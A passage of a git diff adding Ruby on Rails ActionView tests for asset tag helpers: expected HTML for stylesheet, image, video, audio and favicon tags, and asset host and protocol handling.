+    %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank", :host => "assets.example.com")) => %(<link href="http://assets.example.com/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+
+    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+  }
+
+  ImagePathToTag = {
+    %(image_path("xml"))          => %(/images/xml),
+    %(image_path("xml.png"))      => %(/images/xml.png),
+    %(image_path("dir/xml.png"))  => %(/images/dir/xml.png),
+    %(image_path("/dir/xml.png")) => %(/dir/xml.png)
+  }
+
+  PathToImageToTag = {
+    %(path_to_image("xml"))          => %(/images/xml),
+    %(path_to_image("xml.png"))      => %(/images/xml.png),
+    %(path_to_image("dir/xml.png"))  => %(/images/dir/xml.png),
+    %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
+  }
+
+  ImageUrlToTag = {
+    %(image_url("xml"))          => %(http://www.example.com/images/xml),
+    %(image_url("xml.png"))      => %(http://www.example.com/images/xml.png),
+    %(image_url("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
+    %(image_url("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+  }
+
+  UrlToImageToTag = {
+    %(url_to_image("xml"))          => %(http://www.example.com/images/xml),
+    %(url_to_image("xml.png"))      => %(http://www.example.com/images/xml.png),
+    %(url_to_image("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
+    %(url_to_image("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+  }
+
+  ImageLinkToTag = {
+    %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
+    %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
+    %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
+    %(image_tag("gold.png", :size => 20)) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
+    %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
+    %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
+    %(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
+    %(image_tag("slash..png")) => %(<img alt="Slash." src="/images/slash..png" />),
+    %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
+    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
+    %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
+    %(image_tag("")) => %(<img src="" />),
+    %(image_tag("gold.png", data: { title: 'Rails Application' })) => %(<img data-title="Rails Application" src="/images/gold.png" alt="Gold" />),
+    %(image_tag("rss.gif", srcset: "/assets/pic_640.jpg 640w, /assets/pic_1024.jpg 1024w")) => %(<img srcset="/assets/pic_640.jpg 640w, /assets/pic_1024.jpg 1024w" src="/images/rss.gif" alt="Rss" />),
+    %(image_tag("rss.gif", srcset: { "pic_640.jpg" => "640w", "pic_1024.jpg" => "1024w" })) => %(<img srcset="/images/pic_640.jpg 640w, /images/pic_1024.jpg 1024w" src="/images/rss.gif" alt="Rss" />),
+    %(image_tag("rss.gif", srcset: [["pic_640.jpg", "640w"], ["pic_1024.jpg", "1024w"]])) => %(<img srcset="/images/pic_640.jpg 640w, /images/pic_1024.jpg 1024w" src="/images/rss.gif" alt="Rss" />)
+  }
+
+  FaviconLinkToTag = {
+    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+    %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+    %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/x-icon" />),
+    %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
+    %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
+  }
+
+  VideoPathToTag = {
+    %(video_path("xml"))          => %(/videos/xml),
+    %(video_path("xml.ogg"))      => %(/videos/xml.ogg),
+    %(video_path("dir/xml.ogg"))  => %(/videos/dir/xml.ogg),
+    %(video_path("/dir/xml.ogg")) => %(/dir/xml.ogg)
+  }
+
+  PathToVideoToTag = {
+    %(path_to_video("xml"))          => %(/videos/xml),
+    %(path_to_video("xml.ogg"))      => %(/videos/xml.ogg),
+    %(path_to_video("dir/xml.ogg"))  => %(/videos/dir/xml.ogg),
+    %(path_to_video("/dir/xml.ogg")) => %(/dir/xml.ogg)
+  }
+
+  VideoUrlToTag = {
+    %(video_url("xml"))          => %(http://www.example.com/videos/xml),
+    %(video_url("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
+    %(video_url("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
+    %(video_url("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+  }
+
+  UrlToVideoToTag = {
+    %(url_to_video("xml"))          => %(http://www.example.com/videos/xml),
+    %(url_to_video("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
+    %(url_to_video("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
+    %(url_to_video("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+  }
+
+  VideoLinkToTag = {
+    %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg"></video>),
+    %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v"></video>),
+    %(video_tag("rss.m4v", :preload => 'none')) => %(<video preload="none" src="/videos/rss.m4v"></video>),
+    %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
+    %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
+    %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
+    %(video_tag("error.avi", "size" => "100")) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
+    %(video_tag("error.avi", "size" => 100)) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
+    %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+    %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+    %(video_tag("multiple.ogg", "multiple.avi")) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+    %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+    %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>)
+  }
+
+  AudioPathToTag = {
+    %(audio_path("xml"))          => %(/audios/xml),
+    %(audio_path("xml.wav"))      => %(/audios/xml.wav),
+    %(audio_path("dir/xml.wav"))  => %(/audios/dir/xml.wav),
+    %(audio_path("/dir/xml.wav")) => %(/dir/xml.wav)
+  }
+
+  PathToAudioToTag = {
+    %(path_to_audio("xml"))          => %(/audios/xml),
+    %(path_to_audio("xml.wav"))      => %(/audios/xml.wav),
+    %(path_to_audio("dir/xml.wav"))  => %(/audios/dir/xml.wav),
+    %(path_to_audio("/dir/xml.wav")) => %(/dir/xml.wav)
+  }
+
+  AudioUrlToTag = {
+    %(audio_url("xml"))          => %(http://www.example.com/audios/xml),
+    %(audio_url("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
+    %(audio_url("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
+    %(audio_url("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+  }
+
+  UrlToAudioToTag = {
+    %(url_to_audio("xml"))          => %(http://www.example.com/audios/xml),
+    %(url_to_audio("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
+    %(url_to_audio("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
+    %(url_to_audio("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+  }
+
+  AudioLinkToTag = {
+    %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav"></audio>),
+    %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav"></audio>),
+    %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+    %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+    %(audio_tag("audio.mp3", "audio.ogg")) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+    %(audio_tag(["audio.mp3", "audio.ogg"])) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+    %(audio_tag(["audio.mp3", "audio.ogg"], :preload => 'none', :controls => true)) => %(<audio preload="none" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
+  }
+
+  FontPathToTag = {
+    %(font_path("font.eot")) => %(/fonts/font.eot),
+    %(font_path("font.eot#iefix")) => %(/fonts/font.eot#iefix),
+    %(font_path("font.woff")) => %(/fonts/font.woff),
+    %(font_path("font.ttf")) => %(/fonts/font.ttf),
+    %(font_path("font.ttf?123")) => %(/fonts/font.ttf?123)
+  }
+
+  def test_autodiscovery_link_tag_with_unknown_type_but_not_pass_type_option_key
+    assert_raise(ArgumentError) do
+      auto_discovery_link_tag(:xml)
+    end
+  end
+
+  def test_autodiscovery_link_tag_with_unknown_type
+    result = auto_discovery_link_tag(:xml, "/feed.xml", type: "application/xml")
+    expected = %(<link href="/feed.xml" rel="alternate" title="XML" type="application/xml" />)
+    assert_dom_equal expected, result
+  end
+
+  def test_asset_path_tag
+    AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_asset_path_tag_raises_an_error_for_nil_source
+    e = assert_raise(ArgumentError) { asset_path(nil) }
+    assert_equal("nil is not a valid asset source", e.message)
+  end
+
+  def test_asset_path_tag_to_not_create_duplicate_slashes
+    @controller.config.asset_host = "host/"
+    assert_dom_equal("http://host/foo", asset_path("foo"))
+
+    @controller.config.relative_url_root = "/some/root/"
+    assert_dom_equal("http://host/some/root/foo", asset_path("foo"))
+  end
+
+  def test_compute_asset_public_path
+    assert_equal "/robots.txt", compute_asset_path("robots.txt")
+    assert_equal "/robots.txt", compute_asset_path("/robots.txt")
+    assert_equal "/javascripts/foo.js", compute_asset_path("foo.js", type: :javascript)
+    assert_equal "/javascripts/foo.js", compute_asset_path("/foo.js", type: :javascript)
+    assert_equal "/stylesheets/foo.css", compute_asset_path("foo.css", type: :stylesheet)
+  end
+
+  def test_auto_discovery_link_tag
+    AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_path
+    JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_javascript_alias_for_javascript_path
+    PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_url
+    JavascriptUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_javascript_alias_for_javascript_url
+    UrlToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_include_tag
+    JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_include_tag_with_missing_source
+    assert_nothing_raised {
+      javascript_include_tag("missing_security_guard")
+    }
+
+    assert_nothing_raised {
+      javascript_include_tag("http://example.com/css/missing_security_guard")
+    }
+  end
+
+  def test_javascript_include_tag_is_html_safe
+    assert javascript_include_tag("prototype").html_safe?
+  end
+
+  def test_javascript_include_tag_relative_protocol
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag("prototype", protocol: :relative)
+  end
+
+  def test_javascript_include_tag_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :relative
+    assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag("prototype")
+  end
+
+  def test_stylesheet_path
+    StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_stylesheet_alias_for_stylesheet_path
+    PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_stylesheet_url
+    StyleUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_stylesheet_alias_for_stylesheet_url
+    UrlToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_stylesheet_link_tag
+    StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_stylesheet_link_tag_with_missing_source
+    assert_nothing_raised {
+      stylesheet_link_tag("missing_security_guard")
+    }
+
+    assert_nothing_raised {
+      stylesheet_link_tag("http://example.com/css/missing_security_guard")
+    }
+  end
+
+  def test_stylesheet_link_tag_is_html_safe
+    assert stylesheet_link_tag("dir/file").html_safe?
+    assert stylesheet_link_tag("dir/other/file", "dir/file2").html_safe?
+  end
+
+  def test_stylesheet_link_tag_escapes_options
+    assert_dom_equal %(<link href="/file.css" media="&lt;script&gt;" rel="stylesheet" />), stylesheet_link_tag("/file", media: "<script>")
+  end
+
+  def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
+    assert_dom_equal %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("wellington", "wellington", "amsterdam")
+  end
+
+  def test_stylesheet_link_tag_with_relative_protocol
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("wellington", protocol: :relative)
+  end
+
+  def test_stylesheet_link_tag_with_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :relative
+    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("wellington")
+  end
+
+  def test_image_path
+    ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_image_alias_for_image_path
+    PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_image_url
+    ImageUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_image_alias_for_image_url
+    UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_image_alt
+    [nil, "/", "/foo/bar/", "foo/bar/"].each do |prefix|
+      assert_equal "Rails", image_alt("#{prefix}rails.png")
+      assert_equal "Rails", image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png")
+      assert_equal "Rails", image_alt("#{prefix}rails-f56ef62bc41b040664e801a38f068082a75d506d9048307e8096737463503d0b.png")
+      assert_equal "Long file name with hyphens", image_alt("#{prefix}long-file-name-with-hyphens.png")
+      assert_equal "Long file name with underscores", image_alt("#{prefix}long_file_name_with_underscores.png")
+    end
+  end
+
+  def test_image_tag
+    ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_image_tag_does_not_modify_options
+    options = { size: "16x10" }
+    image_tag("icon", options)
+    assert_equal({ size: "16x10" }, options)
+  end
+
+  def test_image_tag_raises_an_error_for_competing_size_arguments
+    exception = assert_raise(ArgumentError) do
+      image_tag("gold.png", height: "100", width: "200", size: "45x70")
+    end
+
+    assert_equal("Cannot pass a :size option with a :height or :width option", exception.message)
+  end
+
+  def test_favicon_link_tag
+    FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_path
+    VideoPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_video_alias_for_video_path
+    PathToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_url
+    VideoUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_video_alias_for_video_url
+    UrlToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_tag
+    VideoLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_audio_path
+    AudioPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_audio_alias_for_audio_path
+    PathToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_audio_url
+    AudioUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_audio_alias_for_audio_url
+    UrlToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_audio_tag
+    AudioLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_font_path
+    FontPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_video_audio_tag_does_not_modify_options
+    options = { autoplay: true }
+    video_tag("video", options)
+    assert_equal({ autoplay: true }, options)
+    audio_tag("audio", options)
+    assert_equal({ autoplay: true }, options)
+  end
+
+  def test_image_tag_interpreting_email_cid_correctly
+    # An inline image has no need for an alt tag to be automatically generated from the cid:
+    assert_equal '<img src="cid:thi%25%25sis@acontentid" />', image_tag("cid:thi%25%25sis@acontentid")
+  end
+
+  def test_image_tag_interpreting_email_adding_optional_alt_tag
+    assert_equal '<img alt="Image" src="cid:thi%25%25sis@acontentid" />', image_tag("cid:thi%25%25sis@acontentid", alt: "Image")
+  end
+
+  def test_should_not_modify_source_string
+    source = "/images/rails.png"
+    copy = source.dup
+    image_tag(source)
+    assert_equal copy, source
+  end
+
+  class PlaceholderImage
+    def blank?; true; end
+    def to_s; "no-image-yet.png"; end
+  end
+  def test_image_tag_with_blank_placeholder
+    assert_equal '<img alt="" src="/images/no-image-yet.png" />', image_tag(PlaceholderImage.new, alt: "")
+  end
+  def test_image_path_with_blank_placeholder
+    assert_equal "/images/no-image-yet.png", image_path(PlaceholderImage.new)
+  end
+
+  def test_image_path_with_asset_host_proc_returning_nil
+    @controller.config.asset_host = Proc.new do |source|
+      unless source.end_with?("tiff")
+        "cdn.example.com"
+      end
+    end
+
+    assert_equal "/images/file.tiff", image_path("file.tiff")
+    assert_equal "http://cdn.example.com/images/file.png", image_path("file.png")
+  end
+
+  def test_image_url_with_asset_host_proc_returning_nil
+    @controller.config.asset_host = Proc.new { nil }
+    @controller.request = Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
+
+    assert_equal "/images/rails.png", image_path("rails.png")
+    assert_equal "http://www.example.com/images/rails.png", image_url("rails.png")
+  end
+
+  def test_caching_image_path_with_caching_and_proc_asset_host_using_request
+    @controller.config.asset_host = Proc.new do |source, request|
+      if request.ssl?
+        "#{request.protocol}#{request.host_with_port}"
+      else
+        "#{request.protocol}assets#{source.length}.example.com"
+      end
+    end
+
+    @controller.request.stub(:ssl?, false) do
+      assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
+    end
+
+    @controller.request.stub(:ssl?, true) do
+      assert_equal "http://localhost/images/xml.png", image_path("xml.png")
+    end
+  end
+end
+
+class AssetTagHelperNonVhostTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  attr_reader :request
+
+  def setup
+    super
+    @controller = BasicController.new
+    @controller.config.relative_url_root = "/collaboration/hieraki"
+
+    @request = Struct.new(:protocol, :base_url).new("gopher://", "gopher://www.example.com")
+    @controller.request = @request
+  end
+
+  def url_for(options)
+    "http://www.example.com/collaboration/hieraki"
+  end
+
+  def test_should_compute_proper_path
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+  end
+
+  def test_should_return_nothing_if_asset_host_isnt_configured
+    assert_nil compute_asset_host("foo")
+  end
+
+  def test_should_current_request_host_is_always_returned_for_request
+    assert_equal "gopher://www.example.com", compute_asset_host("foo", protocol: :request)
+  end
+
+  def test_should_return_custom_host_if_passed_in_options
+    assert_equal "http://custom.example.com", compute_asset_host("foo", host: "http://custom.example.com")
+  end
+
+  def test_should_ignore_relative_root_path_on_complete_url
+    assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
+  end
+
+  def test_should_return_simple_string_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_equal "gopher://assets.example.com", compute_asset_host("foo")
+  end
+
+  def test_should_return_relative_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_equal "//assets.example.com", compute_asset_host("foo", protocol: :relative)
+  end
+
+  def test_should_return_custom_protocol_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_equal "ftp://assets.example.com", compute_asset_host("foo", protocol: "ftp")
+  end
+
+  def test_should_compute_proper_path_with_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+  end
+
+  def test_should_compute_proper_path_with_asset_host_and_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :request
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+  end
+
+  def test_should_compute_proper_url_with_asset_host
+    @controller.config.asset_host = "assets.example.com"
+    assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+  end
+
+  def test_should_compute_proper_url_with_asset_host_and_default_protocol
+    @controller.config.asset_host = "assets.example.com"
+    @controller.config.default_asset_host_protocol = :request
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+  end
+
+  def test_should_return_asset_host_with_protocol
+    @controller.config.asset_host = "http://assets.example.com"
+    assert_equal "http://assets.example.com", compute_asset_host("foo")
+  end
+
+  def test_should_ignore_asset_host_on_complete_url
+    @controller.config.asset_host = "http://assets.example.com"
+    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
+  end
+
+  def test_should_ignore_asset_host_on_scheme_relative_url
+    @controller.config.asset_host = "http://assets.example.com"
+    assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
+  end
+
+  def test_should_wildcard_asset_host
+    @controller.config.asset_host = "http://a%d.example.com"
+    assert_match(%r(http://a[0123]\.example\.com), compute_asset_host("foo"))
+  end
+
+  def test_should_wildcard_asset_host_between_zero_and_four
+    @controller.config.asset_host = "http://a%d.example.com"
+    assert_match(%r(http://a[0123]\.example\.com/collaboration/hieraki/images/xml\.png), image_path("xml.png"))
+    assert_match(%r(http://a[0123]\.example\.com/collaboration/hieraki/images/xml\.png), image_url("xml.png"))
+  end
+
+  def test_asset_host_without_protocol_should_be_protocol_relative
+    @controller.config.asset_host = "a.example.com"
+    assert_equal "gopher://a.example.com/collaboration/hieraki/images/xml.png", image_path("xml.png")
+    assert_equal "gopher://a.example.com/collaboration/hieraki/images/xml.png", image_url("xml.png")
+  end
+
+  def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present
+    @controller.config.asset_host = "a.example.com/files/go/here"
+    assert_equal "gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png", image_path("xml.png")
+    assert_equal "gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png", image_url("xml.png")
+  end
+
+  def test_assert_css_and_js_of_the_same_name_return_correct_extension
+    assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
+    assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
+  end
+end
+
+class AssetUrlHelperControllerTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetUrlHelper
+
+  def setup
+    super
+
+    @controller = BasicController.new
+    @controller.extend ActionView::Helpers::AssetUrlHelper
+
+    @request = Class.new do
+      attr_accessor :script_name
+      def protocol() "http://" end
+      def ssl?() false end
+      def host_with_port() "www.example.com" end
+      def base_url() "http://www.example.com" end
+    end.new
+
+    @controller.request = @request
+  end
+
+  def test_asset_path
+    assert_equal "/foo", @controller.asset_path("foo")
+  end
+
+  def test_asset_url
+    assert_equal "http://www.example.com/foo", @controller.asset_url("foo")
+  end
+end
+
+class AssetUrlHelperEmptyModuleTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetUrlHelper
+
+  def setup
+    super
+
+    @module = Module.new
+    @module.extend ActionView::Helpers::AssetUrlHelper
+  end
+
+  def test_asset_path
+    assert_equal "/foo", @module.asset_path("foo")
+  end
+
+  def test_asset_url
+    assert_equal "/foo", @module.asset_url("foo")
+  end
+
+  def test_asset_url_with_request
+    @module.instance_eval do
+      def request
+        Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
+      end
+    end
+
+    assert @module.request
+    assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+  end
+
+  def test_asset_url_with_config_asset_host
+    @module.instance_eval do
+      def config
+        Struct.new(:asset_host).new("http://www.example.com")
+      end
+    end
+
+    assert @module.config.asset_host
+    assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+  end
+
+  def test_asset_url_with_custom_asset_host
+    @module.instance_eval do
+      def config
+        Struct.new(:asset_host).new("http://www.example.com")
+      end
+    end
+
+    assert @module.config.asset_host
+    assert_equal "http://custom.example.com/foo", @module.asset_url("foo", host: "http://custom.example.com")
+  end
+end
diff --git a/actionview/test/template/atom_feed_helper_test.rb b/actionview/test/template/atom_feed_helper_test.rb
new file mode 100644
index 0000000000..1be20dcaae
--- /dev/null
